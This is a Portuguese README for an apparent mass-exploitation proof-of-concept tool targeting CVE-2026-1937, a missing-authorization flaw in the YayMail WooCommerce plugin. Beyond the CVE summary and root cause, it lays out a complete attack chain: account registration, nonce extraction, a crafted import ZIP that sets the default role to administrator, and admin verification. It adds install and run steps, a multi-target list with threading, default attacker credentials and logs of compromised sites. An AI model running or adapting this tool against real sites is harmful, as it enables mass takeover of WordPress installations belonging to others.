
YayMail <= 4.3.2 - Autorização Ausente para Atualização Arbitrária de Opções por Usuários Autenticados (Shop Manager+) através da Ação AJAX 'yaymail_import_state'
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-1937 |
| Gravidade | ALTA — Pontuação CVSS v3.1: 7.2 |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Pesquisador | Daniel Basta (whizzu) — NASK PIB |
| Divulgação Pública | 17 de fevereiro de 2026 |
| Última Atualização | 27 de março de 2026 |
| Software Afetado | YayMail – Plugin WooCommerce Email Customizer para WordPress |
| Versões Afetadas | Todas as versões até a 4.3.2 inclusive |
| Tipo de Vulnerabilidade | Autorização Ausente → Atualização Arbitrária Não Autorizada de Opções → Escalação de Privilégios |
| Autenticação Necessária | Sim — nível Shop Manager ou superior |
| CWE | CWE-862: Autorização Ausente |
Descrição:
O plugin YayMail – WooCommerce Email Customizer para WordPress é vulnerável à modificação não autorizada de dados que leva à Escalação de Privilégios em todas as versões até a 4.3.2 inclusive. A ação AJAX yaymail_import_state é registrada sem qualquer verificação de capacidade no servidor, permitindo que atacantes autenticados com acesso de nível Shop Manager ou superior a invoquem livremente. Ao enviar um arquivo ZIP de importação especialmente elaborado, o atacante pode sobrescrever silenciosamente opções arbitrárias do site WordPress — incluindo definir o papel padrão de registro de novos usuários como administrator e habilitar o registro público aberto. Uma vez que essas opções são injetadas, qualquer visitante pode se registrar no site e receber uma conta completa de Administrador do WordPress, resultando em comprometimento total do site.
Esta é uma cadeia de exploração em massa Proof-of-Concept (PoC) direcionada a instalações WordPress + WooCommerce que executam uma versão vulnerável do plugin YayMail. A ferramenta implementa um ataque completo de ponta a ponta: registro no WooCommerce → login → extração do nonce do YayMail → exploração do yaymail_import_state → verificação de administrador.
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — payload de importação elaborado (obrigatório)pip install requests urllib3 rich
Ou via arquivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
A ferramenta usa uma interface de terminal totalmente interativa alimentada por Rich.
Crie um arquivo de texto simples (padrão: list.txt) — um alvo por linha:
https://target1.com
https://target2.com
http://target3.com
target4.com
Alvos sem
http://ouhttps://recebem automaticamente o prefixohttps://.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipA exploração requer um arquivo ZIP de importação YayMail especialmente elaborado que sobrescreve as seguintes opções do WordPress quando importado:
| Opção do WordPress | Valor Injetado |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ A ferramenta se recusará a executar se
yaymail_backup.zipnão estiver presente no diretório de trabalho.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
Causa Raiz:
O manipulador yaymail_import_state não chama current_user_can() nem qualquer verificação de capacidade equivalente antes de processar a importação. Qualquer usuário com o papel shop_manager (ou superior) pode invocar esta ação livremente e sobrescrever entradas arbitrárias da tabela wp_options por meio do mecanismo de importação ZIP.
A ferramenta verifica automaticamente os seguintes caminhos em busca dos formulários de registro e login:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| Arquivo | Descrição |
|---|---|
reg.txt | Todos os registros WooCommerce bem-sucedidos com credenciais |
Nx_admin.txt | Todas as escalações de administrador confirmadas |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import